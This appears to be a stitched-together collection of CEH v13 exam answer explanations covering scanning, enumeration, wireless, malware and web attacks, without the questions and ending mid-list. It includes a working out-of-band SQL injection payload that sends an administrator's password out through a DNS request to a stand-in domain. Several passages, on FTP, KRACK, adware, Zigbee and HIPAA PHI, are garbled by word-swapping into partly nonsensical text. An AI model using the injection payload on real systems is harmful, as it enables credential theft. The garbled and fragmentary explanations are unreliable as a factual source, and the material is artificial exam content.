The other options are not as effective or suitable as snmp-check for the ethical hacker’s task. Nmap is a network scanning and enumeration tool that can perform various types of scans and probes on the target. It can also run scripts to perform specific tasks, such as retrieving SNMP information. However, Nmap may not be able to gather as much information as snmp-check, and it may also trigger alerts or blocks from firewalls or intrusion detection systems. Oputils is a network monitoring and management toolset that can perform various functions, such as device discovery, configuration backup, bandwidth monitoring, IP address management, and more. However, Oputils is mainly designed for device management and not SNMP enumeration, and it may not be able to extract valuable network information from the SNMP agent. SnmpWalk is a tool that allows the user to retrieve the entire MIB tree of an SNMP agent by using SNMP GETNEXT requests. However, SnmpWalk is not suitable for the ethical hacker’s task, because it requires the user to change an OID (object identifier) to a different value, which may modify the parameters within the SNMP agent’s MIB and affect its functionality or security. References:

snmp-check - The SNMP enumerator

SNMP Enumeration | Ethical Hacking - GreyCampus

SNMP Enumeration - GeeksforGeeks

Nmap - the Network Mapper - Free Security Scanner

OpUtils - Network Monitoring & Management Toolset

SnmpWalk - SNMP MIB Browser

https://nmap.org/book/man-port-specification.html

NOTE: In my opinion, this is an absolutely wrong statement of the question. But you may come across a question with a similar wording on the exam. What does "fast" mean? If we want to increase the speed and intensity of the scan we can select the mode using the -T flag (0/1/2/3/4/5). At high -T values, we will sacrifice stealth and gain speed, but we will not limit functionality.

«nmap -T4 -F 10.10.0.0/24» This option is "correct" because of the -F flag.

-F (Fast (limited port) scan)

Specifies that you wish to scan fewer ports than the default. Normally Nmap scans the most common 1,000 ports for each scanned protocol. With -F, this is reduced to 100.

Technically, scanning will be faster, but just because we have reduced the number of ports by 10 times, we are just doing 10 times less work, not faster.

The File Transfer Protocol (FTP) is a standard organization convention utilized for the exchange of PC records from a worker to a customer on a PC organization. FTP is based on a customer worker model engineering utilizing separate control and information associations between the customer and the server.[1] FTP clients may validate themselves with an unmistakable book sign-in convention, ordinarily as a username and secret key, however can interface namelessly if the worker is designed to permit it. For secure transmission that ensures the username and secret phrase, and scrambles the substance, FTP is frequently made sure about with SSL/TLS (FTPS) or supplanted with SSH File Transfer Protocol (SFTP).

The primary FTP customer applications were order line programs created prior to working frameworks had graphical UIs, are as yet dispatched with most Windows, Unix, and Linux working systems.[2][3] Many FTP customers and mechanization utilities have since been created for working areas, workers, cell phones, and equipment, and FTP has been fused into profitability applications, for example, HTML editors.

In this attack KRACK is an acronym for Key Reinstallation Attack. KRACK may be a severe replay attack on Wi-Fi Protected Access protocol (WPA2), which secures your Wi-Fi connection. Hackers use KRACK to take advantage of a vulnerability in WPA2. When in close range of a possible victim, attackers can access and skim encrypted data using KRACK.

How KRACK Works

Your Wi-Fi client uses a four-way handshake when attempting to attach to a protected network. The handshake confirms that both the client — your smartphone, laptop, et cetera — and therefore the access point share the right credentials, usually a password for the network. This establishes the Pairwise passkey (PMK), which allows for encoding .

Overall, this handshake procedure allows for quick logins and connections and sets up a replacement encryption key with each connection. this is often what keeps data secure on Wi-Fi connections, and every one protected Wi-Fi connections use the four-way handshake for security. This protocol is that the reason users are encouraged to use private or credential-protected Wi-Fi instead of public connections.

KRACK affects the third step of the handshake, allowing the attacker to control and replay the WPA2 encryption key to trick it into installing a key already in use. When the key’s reinstalled, other parameters related to it — the incremental transmit packet number called the nonce and therefore the replay counter — are set to their original values.

Rather than move to the fourth step within the four-way handshake, nonce resets still replay transmissions of the third step. This sets up the encryption protocol for attack, and counting on how the attackers replay the third-step transmissions, they will take down Wi-Fi security.

Why KRACK may be a Threat

Think of all the devices you employ that believe Wi-Fi. it isn’t almost laptops and smartphones; numerous smart devices now structure the web of Things (IoT). due to the vulnerability in WPA2, everything connected to Wi-Fi is in danger of being hacked or hijacked.

Attackers using KRACK can gain access to usernames and passwords also as data stored on devices. Hackers can read emails and consider photos of transmitted data then use that information to blackmail users or sell it on the Dark Web.

Theft of stored data requires more steps, like an HTTP content injection to load malware into the system. Hackers could conceivably take hold of any device used thereon Wi-Fi connection. Because the attacks require hackers to be on the brink of the target, these internet security threats could also cause physical security threats.

On the opposite hand, the necessity to be in close proximity is that the only excellent news associated with KRACK, as meaning a widespread attack would be extremely difficult.

Victims are specifically targeted. However, there are concerns that a experienced attacker could develop the talents to use HTTP content injection to load malware onto websites to make a more widespread affect.

Everyone is in danger from KRACK vulnerability. Patches are available for Windows and iOS devices, but a released patch for Android devices is currently in question (November 2017). There are issues with the discharge , and lots of question if all versions and devices are covered.

The real problem is with routers and IoT devices. These devices aren’t updated as regularly as computer operating systems, and for several devices, security flaws got to be addressed on the manufacturing side. New devices should address KRACK, but the devices you have already got in your home probably aren’t protected.

The best protection against KRACK is to make sure any device connected to Wi-Fi is patched and updated with the newest firmware. that has checking together with your router’s manufacturer periodically to ascertain if patches are available.

The safest connection option may be a private VPN, especially when publicly spaces. If you would like a VPN for private use, avoid free options, as they need their own security problems and there’ll even be issues with HTTPs. Use a paid service offered by a trusted vendor like Kaspersky. Also, more modern networks use WPA3 for better security.

Avoid using public Wi-Fi, albeit it’s password protection. That password is out there to almost anyone, which reduces the safety level considerably.

All the widespread implications of KRACK and therefore the WPA2 vulnerability aren’t yet clear. what’s certain is that everybody who uses Wi-Fi is in danger and wishes to require precautions to guard their data and devices.

The Domain Name System Security Extensions (DNSSEC) is a suite of Internet Engineering Task Force (IETF) specifications for securing certain kinds of information provided by DNS for use on IP networks. DNSSEC is a set of extensions to DNS provide to DNS clients (resolvers) origin authentication of DNS data, authenticated denial of existence, and data integrity, but not availability or confidentiality. DNSSEC is necessary because the original DNS design did not include security but was designed to be a scalable distributed system. DNSSEC adds security while maintaining backward compatibility.

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An ‘out-of-band’ SQL Injection attack is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control1. This technique can be used to bypass input validation and pattern matching measures that are based on the application’s responses. The attacker can use various SQL functions or commands that trigger DNS or HTTP requests, such as load_file, copy, dbms_ldap, etc., depending on the SQL server type123. By concatenating the data they want to extract with a domain name they own, the attacker can receive the data via DNS or HTTP logs. For example, the attacker can inject the following SQL query to exfiltrate the password of the administrator user from a MySQL database:

SELECT load_file(CONCAT('\\\\',(SELECT password FROM users WHERE username='administrator'),'.example.com\\\\test.txt'))

This will cause the application to send a DNS request to the domain password.example.com, where password is the actual value of the administrator’s password1.

A Stealth or Tunneling Virus is designed specifically to evade detection by antivirus software and system monitoring tools. These viruses work by intercepting and modifying the operating system’s service call interrupts (such as INT 13h and INT 21h in DOS systems), which are used to access files or system services.

By hooking into these interrupts, the virus can return clean or forged data to antivirus scanners, thus hiding its malicious presence from detection tools.

Tunneling viruses may also operate at a lower level to evade even more advanced antivirus detection methods, making them particularly dangerous and hard to detect.

Reference – CEH v13 Official Study Guide:

Module 6: Malware Threats

Section: Types of Viruses

Quote:

“Tunneling viruses attempt to avoid detection by antivirus programs by installing themselves in the interrupt handler chain. These viruses intercept operating system calls to conceal their activities.”

Incorrect Options Explained:

A. Macro viruses target applications like Microsoft Word/Excel and use embedded macros, but do not alter service call interrupts.

C. Cavity viruses insert code into empty spaces in files without changing the file size but do not modify interrupts.

D. Polymorphic viruses mutate their code to avoid signature-based detection but do not typically interfere with system interrupts directly.

The host command in Linux is used for DNS lookup operations. The switch -t specifies the type of DNS record you are querying.

host -t a domain.com queries for A (Address) records, which return the IP address associated with a domain.

host -t ns queries for name servers (NS records).

host -t soa queries for the Start of Authority (SOA) record.

host -t AXFR attempts a zone transfer (not a standard resolution method and typically blocked).

Hence, option A correctly resolves a domain name to its IP address.

In CEH v13 Module 11: Hacking Wireless Networks, Kismet is introduced as a passive wireless sniffer and network detector used primarily on Linux systems.

Kismet passively listens for wireless beacons and data frames.

Can detect hidden SSIDs, rogue APs, and even wireless client behaviors.

Does not transmit any packets, making it stealthy and ideal for wireless reconnaissance.

Option Analysis:

A. Burp Suite: Used for web application testing, not wireless.

B. OpenVAS: Vulnerability scanner, not a packet sniffer.

C. tshark: CLI version of Wireshark, can analyze wired and wireless packets, but not wireless-specific or passive by default.

D. Kismet: Correct wireless packet analyzer for Linux.

In CEH v13 Module 14: Cryptography, CAST-128 is defined as a symmetric block cipher based on a Feistel structure with:

Block size of 64 bits

12 or 16 rounds, depending on key size

Uses 8×32-bit S-boxes with complex structures (including bent functions)

Operates with modular addition/subtraction, XOR, key-dependent rotations, and masking keys (Km) and rotation keys (Kr)

All features described in the scenario match the CAST-128 algorithm.

Option Clarification:

B. AES: Operates on 128-bit blocks, uses Substitution-Permutation Network (SPN), not Feistel.

C. GOST: Russian block cipher, also Feistel-based, but structure and key use differ.

D. DES: Feistel cipher with 64-bit block size, but uses 16 rounds and simpler S-boxes.

Correct answer is A. CAST-128

https://www.mcafee.com/enterprise/en-us/security-awareness/ransomware/what-is-fileless-malware.html

Fileless malware can easily evade various security controls, organizations need to focus on monitoring, detecting, and preventing malicious activities instead of using traditional approaches such as scanning for malware through file signatures.Also known as non-malware, infects legitimate software, applications, and other protocols existing in the system to perform various malicious activities.It resides in the system’s RAM. It injects malicious code into the running processes. (P.966/950)

Spanning Tree Protocol (STP) manipulation attacks involve an attacker injecting BPDUs (Bridge Protocol Data Units) to force a switch to recognize the attacker’s system as the root bridge. Once this is achieved, the attacker can:

Redirect traffic through their own machine

Create a SPAN (Switched Port Analyzer) session to mirror traffic

Intercept, sniff, or modify data passing through the network

This is typically the next logical step in an STP attack to facilitate a Man-in-the-Middle (MITM) position.

Reference – CEH v13 Official Study Guide:

Module 8: Sniffing

Quote:

“An attacker who becomes the root bridge using STP manipulation can redirect traffic and use SPAN ports to mirror traffic to their system for analysis or manipulation.”

Incorrect Options:

B. OSPF is a Layer 3 routing protocol, not relevant here.

C. DoS is not the goal of this specific attack.

D. Attacking all switches is inefficient and unnecessary once root access is gained.

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· Identifying operating systems, services, protocols and devices,

· Collecting unencrypted information about usernames and passwords,

· Capturing network traffic for further analysis

are passive network sniffing methods since with the help of them we only receive information and do not make any changes to the target network. When modifying and replaying the captured network traffic, we are already starting to make changes and actively interact with it.

The ethical hacker is likely performing an SYN scan to stealthily identify open ports without fully establishing a connection. An SYN scan, also known as a half-open scan or a stealth scan, is a type of port scanning technique that exploits the TCP three-way handshake process. The hacker sends an SYN packet to a target port and waits for a response. If the target responds with an SYN/ACK packet, it means the port is open and listening for connections. If the target responds with an RST packet, it means the port is closed and not accepting connections. However, instead of completing the handshake with an ACK packet, the hacker sends an RST packet to abort the connection. This way, the hacker avoids creating a full connection and logging an entry in the target’s system, making the scan less detectable and intrusive. The hacker can repeat this process for different ports and identify which ones are open and potentially vulnerable to exploitation12.

The other options are not correct for the following reasons:

B. They are performing a TCP connect scan to identify open ports on the target machine: This option is incorrect because a TCP connect scan involves establishing a full connection with the target port by completing the TCP three-way handshake. The hacker sends an SYN packet, receives an SYN/ACK packet, and then sends an ACK packet to finalize the connection. Then, the hacker terminates the connection with an RST or FIN packet. A TCP connect scan is more reliable and compatible than an SYN scan, but also more noisy and slow, as it creates more traffic and logs on the target system12.

C. They are performing a vulnerability scan to identify any weaknesses in the target system: This option is incorrect because a vulnerability scan is a broader and deeper process than a port scan. A vulnerability scan involves identifying and assessing the security flaws and risks in a system or network, such as missing patches, misconfigurations, outdated software, or weak passwords. A vulnerability scan may use port scanning as one of its techniques, but it also uses other methods, such as banner grabbing, service enumeration, or exploit testing. A vulnerability scan usually requires more time, resources, and permissions than a port scan34.

D. They are performing a network scan to identify live hosts and their IP addresses: This option is incorrect because a network scan is a different process than a port scan. A network scan involves discovering and mapping the devices and hosts connected to a network, such as routers, switches, servers, or workstations. A network scan may use ping, traceroute, or ARP requests to identify the IP addresses, MAC addresses, and hostnames of the live hosts. A network scan usually precedes a port scan, as it provides the target range and scope for the port scan56.

This phase having the hacker uses different techniques and tools to realize maximum data from the system. they’re –

• Password cracking – Methods like Bruteforce, dictionary attack, rule-based attack, rainbow table are used. Bruteforce is trying all combinations of the password. Dictionary attack is trying an inventory of meaningful words until the password matches. Rainbow table takes the hash value of the password and compares with pre-computed hash values until a match is discovered.

• Password attacks – Passive attacks like wire sniffing, replay attack. Active online attack like Trojans, keyloggers, hash injection, phishing. Offline attacks like pre-computed hash, distributed network and rainbow. Non electronic attack like shoulder surfing, social engineering and dumpster diving.

Adware, or advertising supported computer code, is computer code that displays unwanted advertisements on your pc. Adware programs can tend to serve you pop-up ads, will modification your browser’s homepage, add spyware and simply bombard your device with advertisements. Adware may be a additional summary name for doubtless unwanted programs. It’s roughly a virulent disease and it’s going to not be as clearly malicious as a great deal of different problematic code floating around on the net. create no mistake concerning it, though, that adware has to return off of no matter machine it’s on. Not solely will adware be extremely annoying whenever you utilize your machine, it might additionally cause semipermanent problems for your device.

Adware a network users the browser to gather your internet browsing history so as to ’target’ advertisements that appear tailored to your interests. At their most innocuous, adware infections square measure simply annoying. as an example, adware barrages you with pop-up ads that may create your net expertise markedly slower and additional labor intensive.

According to CEH v13 Module 06: Malware Threats, USB Dumper is a tool often used in insider threat or data exfiltration scenarios, where it automatically and silently copies files from any USB drive connected to a system.

It operates in the background and requires no user interaction once installed.

Files are copied from the USB to a pre-configured local directory.

USB Dumper is used in various penetration testing scenarios to simulate data theft using physical access.

Option Clarifications:

A. USB Grabber: Not a recognized standard tool in CEH or industry.

B. USB Snoopy: Used for monitoring USB communications (not silent copying).

C. USB Sniffer: Used for sniffing USB device communication traffic, not file theft.

D. USB Dumper: Correct tool for silently copying USB content.

Pharming is a cyberattack technique in which malicious code is used to redirect a website’s traffic to a fraudulent or malicious website without the user's knowledge. This redirection typically occurs through:

DNS poisoning or host file modification

Exploitation of vulnerabilities in DNS servers or user machines

Pharming aims to collect sensitive data (like usernames, passwords, credit card details) by making users believe they are interacting with a legitimate website when, in fact, they are on a fake one.

As per CEH v13 Official Courseware:

Pharming is a server-side or client-side attack that manipulates how URLs are resolved.

It differs from phishing in that it does not rely on fake emails or social engineering but rather on redirecting web traffic via compromised DNS infrastructure or local configuration.

Incorrect Options:

A. Spimming is the use of spam over instant messaging.

C. Phishing involves tricking users through fake emails or messages.

D. Spear-phishing is a targeted version of phishing directed at specific individuals or roles.

Reference – CEH v13 Official Courseware:

Module 09: Social Engineering

Section: “Phishing and Pharming Attacks”

Subsection: “Differences Between Phishing and Pharming”

The best measure to prevent similar attacks without overly restricting the use of personal devices is to conduct regular cybersecurity awareness training, focusing on phishing attacks. Cybersecurity awareness training is a process of educating and empowering employees on the best practices and behaviors to protect themselves and the organization from cyber threats, such as phishing, malware, ransomware, or data breaches. Cybersecurity awareness training can help the organization mitigate the risk of phishing incidents by providing the following benefits12:

It can increase the knowledge and skills of employees on how to identify and avoid phishing emails, messages, or links, such as by checking the sender, the subject, the content, the attachments, and the URL of the message, and by verifying the legitimacy and authenticity of the message before responding or clicking.

It can enhance the attitude and culture of employees on the importance and responsibility of cybersecurity, such as by encouraging them to report any suspicious or malicious activity, to follow the security policies and guidelines, and to seek help or guidance when in doubt or trouble.

It can reduce the human error and negligence that are often the main causes of phishing incidents, such as by reminding employees to update their devices and applications, to use strong and unique passwords, to enable multi-factor authentication, and to backup their data regularly.

The other options are not as optimal as option D for the following reasons:

A. Provide employees with corporate-owned devices for work-related tasks: This option is not feasible because it contradicts the BYOD policy, which allows employees to use their personal devices for work-related tasks. Providing employees with corporate-owned devices would require the organization to incur additional costs and resources, such as purchasing, maintaining, and securing the devices, as well as training and supporting the employees on how to use them. Moreover, providing employees with corporate-owned devices would not necessarily prevent phishing incidents, as the devices could still be compromised by phishing emails, messages, or links, unless the organization implements strict security controls and policies on the devices, which may limit the user autonomy and productivity3.

B. Implement a mobile device management solution that restricts the installation of non-approved applications: This option is not desirable because it violates the user autonomy and privacy under the BYOD policy, which allows employees to use their personal devices for both personal and professional purposes. Implementing a mobile device management solution that restricts the installation of non-approved applications would require the organization to monitor and control the devices of the employees, which may raise legal and ethical issues, such as data ownership, consent, and compliance. Furthermore, implementing a mobile device management solution that restricts the installation of non-approved applications would not completely prevent phishing incidents, as the employees could still receive phishing emails, messages, or links through the approved applications, unless the organization implements strict security controls and policies on the applications, which may affect the user experience and functionality4.

C. Require all employee devices to use a company-provided VPN for internet access: This option is not sufficient because it does not address the root cause of phishing incidents, which is the human factor. Requiring all employee devices to use a company-provided VPN for internet access would provide the organization with some benefits, such as encrypting the network traffic, hiding the IP address, and bypassing geo-restrictions. However, requiring all employee devices to use a company-provided VPN for internet access would not prevent phishing incidents, as the employees could still fall victim to phishing emails, messages, or links that lure them to malicious websites or applications, unless the organization implements strict security controls and policies on the VPN, which may affect the network performance and reliability.

Zigbee could be a wireless technology developed as associate open international normal to deal with the unique desires of affordable, low-power wireless IoT networks. The Zigbee normal operates on the IEEE 802.15.4 physical radio specification and operates in unauthorised bands as well as a pair of.4 GHz, 900 MHz and 868 MHz.

The 802.15.4 specification upon that the Zigbee stack operates gained confirmation by the Institute of Electrical and physical science Engineers (IEEE) in 2003. The specification could be a packet-based radio protocol supposed for affordable, battery-operated devices. The protocol permits devices to speak in an exceedingly kind of network topologies and may have battery life lasting many years.

The Zigbee three.0 Protocol

The Zigbee protocol has been created and ratified by member corporations of the Zigbee Alliance.Over three hundred leading semiconductor makers, technology corporations, OEMs and repair corporations comprise the Zigbee Alliance membership. The Zigbee protocol was designed to supply associate easy-to-use wireless information answer characterised by secure, reliable wireless network architectures.

THE ZIGBEE ADVANTAGE

The Zigbee 3.0 protocol is intended to speak information through rip-roaring RF environments that area unit common in business and industrial applications. Version 3.0 builds on the prevailing Zigbee normal however unifies the market-specific application profiles to permit all devices to be wirelessly connected within the same network, no matter their market designation and performance. what is more, a Zigbee 3.0 certification theme ensures the ability of product from completely different makers. Connecting Zigbee three.0 networks to the information science domain unveil observance and management from devices like smartphones and tablets on a local area network or WAN, as well as the web, and brings verity net of Things to fruition.

Zigbee protocol options include:

Support for multiple network topologies like point-to-point, point-to-multipoint and mesh networks

Low duty cycle – provides long battery life

Low latency

Direct Sequence unfold Spectrum (DSSS)

Up to 65,000 nodes per network

128-bit AES encryption for secure information connections

Collision avoidance, retries and acknowledgements

This is another short-range communication protocol based on the IEEE 203.15.4 standard. Zig-Bee is used in devices that transfer data infrequently at a low rate in a restricted area and within a range of 10–100 m.

Shellshock (CVE-2014-6271) is a vulnerability in the GNU Bash (Bourne Again Shell) that allows remote code execution via crafted environment variables. It was disclosed in 2014 and had a wide impact on systems that relied on Bash as a command-line shell interpreter.

Affected systems include:

Linux distributions (Red Hat, Debian, CentOS, Ubuntu, etc.)

Unix variants (e.g., FreeBSD, OpenBSD, etc.)

Apple macOS (formerly OS X), since it uses Bash as the default shell

Windows systems were not directly affected because they do not use Bash by default. Bash is not a native component of Windows operating systems, and Shellshock exploits Bash-specific behavior. Only Windows systems where Bash was manually installed through a third-party method or environment (e.g., Cygwin) might be susceptible — but by default, Windows systems are immune.

Incorrect options:

A. Linux — Affected

B. Unix — Affected

C. OS X — Affected

D. Windows — Not directly affected (Correct answer)

In CEH v13 Module 03: Scanning Networks, Nmap's evasion techniques are discussed for bypassing or confusing Intrusion Detection Systems (IDS) and firewalls.

The -D option in Nmap is used to enable decoy scanning. It inserts false IP addresses in the scan to obfuscate the true origin of the scan.

This technique helps in masking the attacker’s IP and can confuse IDS logs.

Option Clarification:

A. -n/-R: Disables DNS resolution (-n) or uses reverse DNS (-R), does not evade detection.

B. -0N/-0X/-0G: Output formats (normal, XML, grepable), not related to evasion.

C. -T: Controls timing (e.g., -T0 is stealthy, -T5 is aggressive), but not explicitly for IDS evasion.

D. -D: Correct. Used for IDS/firewall evasion by using decoy IPs.

Comprehensive and Detailed Explanation:

A Suicide Hacker is someone who launches a cyberattack without regard for the consequences, such as being caught or imprisoned. Yancey's actions fit this profile because:

He is knowingly committing illegal acts.

He is fully aware of and indifferent to the consequences.

His motive is revenge, not ideology or personal gain.

From CEH v13 Courseware:

Module 1: Introduction to Ethical Hacking → Types of Hackers

Windows 2000 and newer systems use Kerberos as their default authentication protocol rather than NTLM or LM challenge/response over SMB. Kerberos is encrypted and does not rely on the older SMB logon exchange methods that L0phtCrack can sniff.

From CEH v13 Courseware:

Module 6: Malware and Password Attacks

Module 4: Enumeration

CEH v13 Study Guide states:

“Kerberos is the default authentication protocol in Windows 2000 and newer systems. It encrypts communication and is not vulnerable to the same sniffing attacks that work against LM/NTLM challenge-response mechanisms.”

Incorrect Options:

A: While a NIDS may detect traffic, it doesn't prevent sniffing.

C: Logons can be sniffed in older systems using NTLM.

D: L0phtCrack does not sniff web logons—it targets SMB and Windows logins.

https://en.wikipedia.org/wiki/Web_application_firewall

A web application firewall (WAF) is a specific form of application firewall that filters, monitors, and blocks HTTP traffic to and from a web service. By inspecting HTTP traffic, it can prevent attacks exploiting a web application's known vulnerabilities, such as SQL injection, cross-site scripting (XSS), file inclusion, and improper system configuration.

Comprehensive and Detailed Explanation:

Fake antivirus (also known as scareware) tricks users into downloading malware disguised as legitimate antivirus software.

The best approach:

Google the product name and URL.

Check reputable forums, antivirus vendors, or security advisories.

Look for phishing warnings or reports of malware.

From CEH v13 Courseware:

Module 7: Social Engineering and Phishing Scams

Module 6: Malware Threats → Rogue Software

PHI stands for Protected Health info. The HIPAA Privacy Rule provides federal protections for private health info held by lined entities and provides patients an array of rights with regard to that info. under HIPAA phi is considered to be any identifiable health info that’s used, maintained, stored, or transmitted by a HIPAA-covered entity – a healthcare provider, health plan or health insurer, or a aid clearinghouse – or a business associate of a HIPAA-covered entity, in relation to the availability of aid or payment for aid services.

It is not only past and current medical info that’s considered letter under HIPAA Rules, however also future info concerning medical conditions or physical and mental health related to the provision of care or payment for care. phi is health info in any kind, together with physical records, electronic records, or spoken info.

Therefore, letter includes health records, medical histories, lab check results, and medical bills. basically, all health info is considered letter once it includes individual identifiers. Demographic info is additionally thought of phi underneath HIPAA Rules, as square measure several common identifiers like patient names, Social Security numbers, Driver’s license numbers, insurance details, and birth dates, once they square measure connected with health info.

The eighteen identifiers that create health info letter are:

Names

Dates, except year

phonephone numbers

Geographic information

FAX numbers

Social Security numbers

Email addresses

case history numbers

Account numbers

Health arrange beneficiary numbers

Certificate/license numbers

Vehicle identifiers and serial numbers together with license plates

Web URLs

Device identifiers and serial numbers

net protocol addresses

Full face photos and comparable pictures

Biometric identifiers (i.e. retinal scan, fingerprints)

Any distinctive identifying variety or code

One or a lot of of those identifiers turns health info into letter, and phi HIPAA Privacy Rule restrictions can then apply that limit uses and disclosures of the data. HIPAA lined entities and their business associates will ought to guarantee applicable technical, physical, and body safeguards are enforced to make sure the confidentiality, integrity, and availability of phi as stipulated within the HIPAA Security Rule.

Comprehensive and Detailed Explanation:

A covert channel is any communication path that allows data to be transferred in violation of a system’s security policy. It’s commonly used by malware or Trojans to exfiltrate data or send commands undetected.

Examples include:

Encoding data in TCP headers (unused bits)

Timing of packets (timing channel)

Use of legitimate protocols to piggyback malicious traffic

From CEH v13 Courseware:

Module 6: Malware Threats → Trojans and Covert Channels

In CEH v13 Module 04: Enumeration, identifying services based on well-known port numbers is foundational for enumeration and scanning activities.

Port 21/TCP is assigned to the File Transfer Protocol (FTP).

FTP is a standard protocol used to upload, download, and manage files on a remote server.

During enumeration, open FTP ports can be probed for:

Anonymous login

Banner grabbing

Directory traversal vulnerabilities

Option Clarification:

A. BGP: Runs on TCP port 179.

C. NFS: Commonly uses port 2049.

D. RPC: Dynamically uses multiple ports.

Correct answer is B. FTP (port 21).

The most effective attack method for the penetration tester to exploit these vulnerabilities and attempt unauthorized access would be to execute a Brute Force attack, leveraging the lack of account lockout policy and the verbose error messages to guess the correct credentials. A Brute Force attack is a hacking method that uses trial and error to crack passwords, login credentials, or encryption keys. It is a simple yet reliable tactic for gaining unauthorized access to individual accounts and organizations’ systems and networks1. In this scenario, the tester can take advantage of the fact that the application does not lock out users after multiple failed login attempts, which means the tester can try as many combinations as possible without being blocked. The tester can also use the detailed error messages that disclose whether the username or password entered is incorrect, which can help narrow down the search space and reduce the number of guesses needed. For example, if the tester enters a wrong username and a wrong password, and the application responds with “Invalid username”, the tester can eliminate that username from the list of candidates and focus on finding the correct one. Similarly, if the tester enters a correct username and a wrong password, and the application responds with “Invalid password”, the tester can confirm that username and focus on finding the correct password. By using automated tools or scripts, the tester can perform a Brute Force attack faster and more efficiently.

The other options are not as effective or feasible as option A for the following reasons:

B. The tester could exploit a potential SQL Injection vulnerability to manipulate the application’s database: This option is not feasible because there is no indication that the application is vulnerable to SQL Injection, which is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database2. The application uses form-based authentication, which does not necessarily involve SQL queries, and the error messages do not reveal any SQL syntax or structure. Moreover, even if the application was vulnerable to SQL Injection, the tester would need to craft a malicious SQL query that can bypass the authentication mechanism and grant access to the application, which may not be possible or easy depending on the database design and configuration.

C. The tester could launch a Cross-Site Scripting (XSS) attack to steal authenticated session cookies, potentially bypassing the clickjacking protection: This option is not effective because there is no evidence that the application is vulnerable to XSS, which is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application by injecting malicious scripts3. The application uses HTTP headers to prevent clickjacking attacks, which are a type of attack that tricks a user into clicking on a hidden or disguised element on a web page4. However, this does not imply that the application is vulnerable to XSS, which requires a different type of injection point and payload. Moreover, even if the application was vulnerable to XSS, the tester would need to find a way to deliver the malicious script to a legitimate user who is already authenticated, and then capture the stolen session cookies from the user’s browser, which may not be feasible or easy depending on the application’s design and security measures.

D. The tester could execute a Man-in-the-Middle (MitM) attack to intercept and modify the HTTP headers for a Clickjacking attack: This option is not feasible because a MitM attack is a type of attack that requires the attacker to insert themselves between two parties who believe that they are directly communicating with each other, and then relay or alter the communications between them5. In this scenario, the tester would need to intercept the HTTP traffic between the user and the application, and then modify the HTTP headers to remove or weaken the clickjacking protection. However, this would require the tester to have access to the network infrastructure or the user’s device, which may not be possible or easy depending on the network security and encryption. Moreover, even if the tester could perform a MitM attack, the tester would still need to trick the user into clicking on a malicious element on a web page, which may not be possible or easy depending on the user’s awareness and behavior.

In CEH v13 Module 11: Hacking Wireless Networks, WPA3 is presented as the latest Wi-Fi security protocol, and it includes:

Simultaneous Authentication of Equals (SAE) protocol — a more secure key exchange mechanism.

Replaces WPA2's Pre-Shared Key (PSK) method to prevent dictionary and key recovery attacks.

SAE (a.k.a. Dragonfly) prevents attackers from capturing handshakes for offline cracking.

Option Clarification:

A. WEP: Obsolete and weak.

B. WPA: Early improvement over WEP, still vulnerable.

C. WPA2: Uses PSK and vulnerable to key reinstallation attacks (KRACK).

D. WPA3: Correct – uses SAE/Dragonfly, resistant to known attacks.

Gathering Wordlist from the Target Website An attacker uses the CeWL tool to gather a list of words from the target website and perform a brute-force attack on the email addresses gathered earlier. # Cewl www.certifiedhacker.com (P.200/184)

Jamming and scrambling are attacks targeting the physical layer of the OSI model, often affecting wireless communication by generating interference to disrupt signal transmission. To mitigate such attacks, one advanced countermeasure is the use of Cognitive Radios.

According to CEH v13 Official Courseware:

Cognitive radios are intelligent radio systems capable of sensing the radio frequency (RF) environment and dynamically adjusting their operating parameters (e.g., frequency, modulation) to avoid interference and jamming.

They enable dynamic spectrum access and help in improving spectrum efficiency and resilience against jamming.

This approach falls under physical-layer security mechanisms.

Incorrect Options:

A. gets and strcpy are unsafe functions vulnerable to buffer overflow, not relevant to DoS protection.

B. Allowing all types of packets increases risk and is not a mitigation.

D. TCP SYN cookies protect against SYN flood attacks and disabling them weakens security.

Reference – CEH v13 Official Courseware:

Module 10: Denial-of-Service (DoS) Attacks

Section: “Defensive Strategies Against Jamming and DoS Attacks”

Subsection: “Physical Layer Countermeasures”

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In CEH v13 Module 01: Introduction to Ethical Hacking, Business Impact Analysis (BIA) is defined as a core component of the risk management process that helps identify and evaluate critical business functions, their dependencies, and the impact of downtime.

BIA is performed to:

Identify critical services and resources.

Determine the impact of their failure.

Define Recovery Time Objectives (RTO) and Recovery Point Objectives (RPO).

Prioritize systems for business continuity planning.

Option Clarification:

A. EPR: Emergency Plan Response – not a formal phase in BIA or risk analysis.

C. Risk Mitigation: Involves taking actions to reduce risks, but doesn't identify business-critical services.

D. DRP: Disaster Recovery Planning focuses on restoration, not impact assessment.

A digital signature mechanism is a cryptographic concept that you should propose to the team to verify the integrity of the data upon retrieval. A digital signature mechanism works as follows:

A digital signature is a mathematical scheme that allows the sender of a message to sign the message with their private key, and allows the receiver of the message to verify the signature with the sender’s public key. A digital signature provides two security services: authentication and non-repudiation. Authentication means that the receiver can confirm the identity of the sender, and non-repudiation means that the sender cannot deny sending the message12.

A digital signature mechanism consists of three algorithms: key generation, signing, and verification. Key generation produces a pair of keys: a private key for the sender and a public key for the receiver. Signing takes the message and the private key as inputs, and outputs a signature. Verification takes the message, the signature, and the public key as inputs, and outputs a boolean value indicating whether the signature is valid or not12.

A digital signature mechanism can be implemented using various cryptographic techniques, such as hash-based signatures, RSA signatures, or elliptic curve signatures. A common method is to use a hash function to compress the message into a fixed-length digest, and then use an asymmetric encryption algorithm to encrypt the digest with the private key. The encrypted digest is the signature, which can be decrypted with the public key and compared with the hash of the message to verify the integrity12.

A digital signature mechanism can ensure the integrity of the data upon retrieval, because:

A digital signature is unique to the message and the sender, and it cannot be forged or altered by anyone else. If the message or the signature is modified in any way, the verification will fail and the receiver will know that the data is corrupted or tampered with12.

A digital signature is independent of the encryption or hashing of the data, and it can be applied to any type of data, regardless of its format or size. The encryption or hashing of the data can provide confidentiality and efficiency, but they cannot provide integrity or authentication by themselves. A digital signature can complement the encryption or hashing of the data by providing an additional layer of security12.

The other options are not as suitable as option B for the following reasons:

